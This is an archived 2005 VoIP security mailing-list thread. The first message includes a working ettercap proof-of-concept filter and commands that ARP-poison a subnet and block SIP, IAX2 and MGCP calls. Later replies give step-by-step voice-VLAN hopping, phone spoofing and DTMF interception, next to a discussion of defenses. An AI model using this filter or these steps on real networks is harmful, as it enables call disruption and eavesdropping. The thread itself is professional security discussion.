[VOIPSEC] VoIP Blocking Filter w/Ettercap
Michael Todd
michaeldtodd at mac.com
Mon Jul 18 16:11:25 CDT 2005
These are an excellent start! The items that you mentioned below prevent many attacks including:
Arp cache poisoning (which allows for one method of recording calls, however, there are other ways which I will detail below)
DHCP Spoofing (which stops you from responding to a phone's reply with your own in order to modify the TFTP IP that the phones learn to download configurations)
However, there are still fundamental vulnerabilities that are possible once you can directly access the voice VLAN, which the features you mentioned below do not prevent. Let me outline a couple of scenarios even assuming that all of these features are configured. I'll describe the voice VLAN access in a little more detail since my last e-mail was a bit vague.
Just for fun, let's assume that the example network has been configured to Cisco's SAFE best practices to the letter. Forgive me if this is a bit wordy, but I think it's a good exercise. Also forgive me if this is too Cisco-centric, but I believe that the principles are valid for other vendor's implementations as well.
http://www.cisco.com/en/US/netsol/ns340/ns394/ns171/ns128/networking_solutions_white_paper09186a00801b7a50.shtml
I walk into a lobby of a building or sit down at any cube that has a phone. I unplug the phone and plug in my laptop.
"Ok, well I've got 802.1x, which will challenge you to authenticate before allowing you on the VLAN"
I'll ignore the request and turn on a sniffer. Within 30 seconds or so, I'll see a CDP message from the switch that includes the VVID (which is the Voice VLAN number). Turning off CDP would break all other phones, as this is the primary method for learning this information. Once I've got this, I open up Terminal on my Powerbook :) and type:
"ifconfig vlan0 vlan X vlandev en0" (where X is the Voice VLAN that the switch so nicely told me)
At this point I can set this interface to use DHCP, and unless you've hard coded each phone's MAC address into your DHCP server, I'll get an IP and the address of the TFTP server (which is almost always the CallManager server itself). The .cnf file on the server is the configuration file for the phone, and of course, TFTP contains no mechanism for authentication, so I can easily download this file.
Now I'm on the Voice VLAN and I've got a valid IP address and the IP address of the CallManager server. Again, this is assuming you've followed the SAFE blueprints to the letter. This is not on some unprotected network. Sadly, everything in this e-mail could be done even at Cisco HQ. This can still be done even if you throw a bunch of other things that the SAFE papers don't even talk about.
Ok, so that part is done. Now I'll list a few things that I could do as an attacker at this point. This e-mail is getting a bit verbose, so if anyone wants details on any of the following attacks, I'd be glad to drill down.
1. Denial of Service. At what point in call setup would a phone on the same VLAN *not* ring if I tried to perform a call setup from my computer to it? What device could stop me from doing this to all phones on the VLAN? None. Can the phone itself realize that I'm not a valid endpoint on the network or that I'm not registered with the CallManager? Nope. Doesn't care much. What would stop me from spamming registration messages to a gateway or to the CM itself? Nothing here either. Would the gateway, gatekeeper, or CM server be able to know the difference between me and a registered phone? Nope. I don't have to register or authenticate to anyone at any point in this entire process.
2. Phone Spoofing. I can register with the CallManager as an existing configured telephone or softphone simply by using the MAC address of the desired target. This is the only item used for authentication. Not the real MAC address on the packets, mind you, simply as an identifier within the payload. Easily spoofed. Once this is done, I will have calling permissions and access rights the same as the target, as well as the ability to get his calls.
4. Attacking the CallManager. Especially if the CM is on the same segment as the phones, it is generally true that there are few filters between Voice VLANs and CM servers (which run Windows 2000).
In general, the problem is that there are little to no options for endpoint authentication. I see this as a very difficult problem to solve as end users have had a much longer and different experience with telephony than with computers. Imagine telling your mom that she has to type in a password on her phone every time she wants to make or receive a call. I've got a few ideas of how to fix these issues, but no products that really exist at the moment that do what I'm thinking. I'd be glad to talk further if somebody's interested in making a new product :).
Hope I didn't bore anyone! I'm sure some of these principles apply to other vendors as well. Can't say for sure, as I've seemed to put all of my eggs in the Cisco basket.
Mike Todd
CCIE #10858 (Routing and Switching / Security / Voice)
michaeldtodd at mac.com
On Monday, July 18, 2005, at 11:32AM, Maness, Drew <Drew.Maness at disney.com> wrote:
>Mike,
>
>I agree with your assessment of 802.1q and 802.1x integration. We are
>in the process of testing Cisco's Dynamic ARP inspection, IP Source
>Guard, and DHCP Snooping to help mitigate the MITM problems you listed
>below.
>
>Have you tested any of these?
>
>-----Original Message-----
>From: Voipsec-bounces at voipsa.org [mailto:Voipsec-bounces at voipsa.org] On
>Behalf Of Michael Todd
>Sent: Monday, July 18, 2005 4:18 AM
>To: Credland, Jim; Voipsec at voipsa.org
>Subject: Re: [VOIPSEC] VoIP Blocking Filter w/Ettercap
>
>The big problem with using 802.1x is that it isn't supported with the
>802.1q trunking standard, which I know that Cisco uses for phone to
>switch VLAN assignment. It is a trivial thing to modify an 802.1q
>header to jump with a computer onto the voice VLAN. Even if you
>configure 802.1x on a port, it will only challenge packets received
>on the switch port for traffic on the the data, not voice, VLAN. And
>since the switch trusts the phone to tag each packet with the correct
>VLAN, a laptop can do it just as easily with a simple ifconfig command.
>
>So, with Cisco installations (and I imagine any other that uses
>802.1q trunking to the phone), there is NO way to prevent an attacker
>from jumping directly onto the Voice VLAN as long as he has physical
>access to the end port where a phone has been configured. Which
>means, in most installations, every port at every desk. Throw
>anything you want at me as far as ideas, I've run through them all,
>and trust me, there is NO way to stop someone from doing this. I'll
>take any challengers :). I reported this bypass method to Cisco's
>PSIRT many months ago and they have yet to make any kind of public
>disclosure. I believe they stated that the reason for this was that
>the vulnerability was with the protocol standards, not with their
>product. Not a great excuse in my opinion.
>
>DTMF can be captured and logged for all calls once the attacker is
>able to get onto the Voice VLAN and perform arp cache redirects. Use
>your own imagination as far as what this could get a malicious attacker.
>
>
> My recommendation is to at least disable gratuitous arp requests
>and run an IDS on the voice VLAN. Not that there are many IDS sigs
>for this type of attack.
>
>Also, the problem with endpoint encryption is that, at least in Cisco
>installations, the choice whether or not to encrypt the RTP stream is
>negotiated *between the phones* at the time a call is placed, so if a
>MITM attack were to step in the middle of this negotiation, the rest
>of the call would be placed unencrypted, even between telephones that
>have been configured for encryption.
>
>The list goes on and on, please ask if anyone needs clarification or
>further examples. Or challenges :). I can demonstrate any of these
>attacks if anyone is curious.
>
>Mike Todd
>CCIE #10858 (Routing and Switching / Security / Voice)
>michael.todd at gtsi.com
>
>On Jul 13, 2005, at 10:31 AM, Credland, Jim wrote:
>
>> Protecting a network to which people have physical access is tricky.
>> Ettercap is a scary reminder of how easy it is to intercept/reroute
>> and
>> generally ethernet segments. If you've got a test network to try a
>> man in
>> the middle attack on using ettercap it's well worth it for the
>> amusement
>> value alone.
>>
>> In an enterprise environment requiring a high standard of VoIP
>> security I'd
>> definitely be considering something like 802.1x port authentication to
>> reduce the risk from someone connecting a PC to the VoIP vLAN, and
>> if it was
>> readily available encryption of the voice and switching traffic.
>>
>> Much of the documentation on VoIP Security seems to skip over these
>> kinds of
>> problems, the NIST documents solution is use encryption,
>> authentication and
>> public keys. This does little about denial-of-service and has the
>> lack of
>> support for these kinds of features in many implementations. The
>> Cisco
>> VoIP security document used to suggests you don't let anyone bad
>> near your
>> switch - but I've noticed a new document on their site listing a
>> whole load
>> of layer 2 security features - see
>> http://www.cisco.com/en/US/netsol/ns340/ns394/ns165/
>> networking_solutions_whi
>> te_paper0900aecd80240249.shtml - in the layer 2 defenses section.
>> I'd be
>> interested - if you test switch has these features - in whether or
>> not you
>> can cause much distruption with these features enabled.
>>
>> I think I saw a tool for listening to intercepted RTP streams but I
>> forget
>> what it's called?
>>
>> Luckly once you get out of your LAN environment to a central server or
>> carrier environment where there are strong physical access controls
>> then
>> this kind of security becomes less critical and other problems
>> raise their
>> heads instead.
>>
>> jim.credland at thus.net
>> Security Consultant
>>
>>
>>
>>> -----Original Message-----
>>> From: Natas [mailto:natas05 at gmail.com]
>>> Sent: 13 July 2005 02:09
>>> To: Voipsec at voipsa.org
>>> Subject: [VOIPSEC] VoIP Blocking Filter w/Ettercap
>>>
>>> After playing around with ettercap and its filter program,
>>> etterfilter, I realized how easy it would be to ARP poison a
>>> network and block all VoIP packets from passing through.
>>> While packet manipulation obviously isn't new, and the root
>>> of the problem comes from the ease of ARP poisoning, I was
>>> still kind of shocked at how easy an attack like this could
>>> be pulled off in a real world scenario.
>>> A simple ettercap filter can be used to block all SIP, IAX2
>>> and MGCP traffic, stopping any possible communication across
>>> a network segment, but letting other traffic properly pass
>>> through. Below is a basic filter I wrote up for this list.
>>>
>>>
>>> # blockvoip.filter
>>> # Proof of concept VoIP blocking filter
>>> # By Natas
>>> # Instructions:
>>> # Run "etterfilter blockvoip.filter -o blockvoip.ef"
>>> # Then "ettercap -T -q -F blockvoip.ef -M ARP /10.1.1.1-254/ //"
>>>
>>> if (ip.proto == UDP && udp.src == 4569) {
>>> msg("Killed Attempted IAX2 Connection.\n");
>>> drop();
>>> kill();
>>> }
>>>
>>> if (ip.proto == UDP && udp.src == 5060) {
>>> msg("Killed Attempted SIP Connection.\n");
>>> drop();
>>> kill();
>>> }
>>>
>>> if (ip.proto == UDP && udp.src == 2427) {
>>> msg("Killed Attempted MGCP Connection.\n");
>>> drop();
>>> kill();
>>> }
>>>
>>> # Don't know to much about MGCP Call Agent traffic but # I
>>> put it in here for the hell of it.
>>> if (ip.proto == UDP && udp.src == 2727) {
>>> msg("Killed Attempted MGCP Call Agent Connection.\n");
>>> drop();
>>> kill();
>>> }
>>>
>>> # End.
>>>
>>> Obviously this is just a simple example and could easily be
>>> expanded to ensure that no VoIP traffic whatsoever passes through.
>>>
>>> I'm not sure how everyone here will feel about this little
>>> example but I wanted to put it out there for everyone to see.
>>> I have some other VoIP packet manipulation ideas that I am
>>> playing around with.
>>>
>>> I enjoy the VoIPSA mailing list very much and like reading
>>> every ones posts and concerns. If you would like to talk off
>>> the list, feel free to email me or contact me at 206-338-3337.
>>>
>>> Natas
>>>
>>> _______________________________________________
>>> Voipsec mailing list
>>> Voipsec at voipsa.org
>>> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>>>
>>>
>>
>> _______________________________________________
>> Voipsec mailing list
>> Voipsec at voipsa.org
>> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>>
>
>
>_______________________________________________
>Voipsec mailing list
>Voipsec at voipsa.org
>http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>
>
>
>
More information about the Voipsec
mailing list